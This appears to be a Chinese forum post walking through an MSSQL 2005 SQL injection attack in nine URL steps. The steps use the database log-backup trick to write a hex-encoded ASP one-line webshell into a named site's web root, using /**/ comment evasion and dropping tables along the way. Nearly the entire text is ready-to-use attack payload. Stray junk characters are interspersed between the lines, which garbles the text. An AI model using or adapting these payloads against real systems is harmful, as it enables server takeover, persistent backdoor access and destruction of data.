Mssql2005 Log备份Webshell

admin

第一步
http://itpro.blog.163.com/test.asp';alter/**/database/**/[netwebhome]/**/set/**/recovery/**/full[/url]--

  r' }1 j* p$ p第二步：
http://itpro.blog.163.com/test.asp';declare/**/@d/**/nvarchar(4000)/**/select/**/@d%3D0x640062006200610063006B00/**/backup/**/database/**/[netwebhome]/**/to/**/disk%3D@d/**/with/**/init--

第三步
http://itpro.blog.163.com/test.asp';drop/**/table/**/[itpro]--
+ k3 \% R, u6 t. j
# p; r' B! v* \: q3 X第四步
, Y/ ^1 V' i& C6 V4 s: C6 l/ Ohttp://itpro.blog.163.com/test.asp';create/**/table/**/[itpro]([a]/**/image)--

* Z0 v1 T6 f2 A5 g$ R, f第五步
. I6 s5 X/ J. `+ lhttp://itpro.blog.163.com/test.asp';declare/**/@d/**/nvarchar(4000)/**/select/**/@d%3D0x640062006200610063006B00/**/backup/**/log/**/[netwebhome]/**/to/**/disk%3D@d/**/with/**/init--

第六步
- `7 A  X/ i/ Zhttp://itpro.blog.163.com/test.asp';insert/**/into/**/[itpro]([a])/**/values(0x3C254578656375746528726571756573742822697470726F222929253E)--

. V7 j; \$ }  M9 i) N第七步
$ \2 g: y1 s" O. a3 l9 C& Lhttp://itpro.blog.163.com/test.asp';declare/**/@d/**/nvarchar(4000)/**/select/**/@d%0x64003A005C007700770077005C0077007700770072006F006F0074005C0077006F0077005C006C006500660074002E00610073007000/**/backup/**/log/**/[netwebhome]/**/to/**/disk%3D@d/**/with/**/init--
) z1 z9 T# M) Y6 r: s
3 M' P! L1 _: G" V: n3 O) i% G5 S第八步
http://itpro.blog.163.com/test.asp';drop/**/table/**/[itpro]--
4 X( U. m3 Z2 g5 P: o
第九步
http://itpro.blog.163.com/test.asp';declare/**/@d/**/nvarchar(4000)/**/select/**/@d%3D0x640062006200610063006B00/**/backup/**/log/**/[netwebhome]/**/to/**/disk%3D@d/**/with/**/init--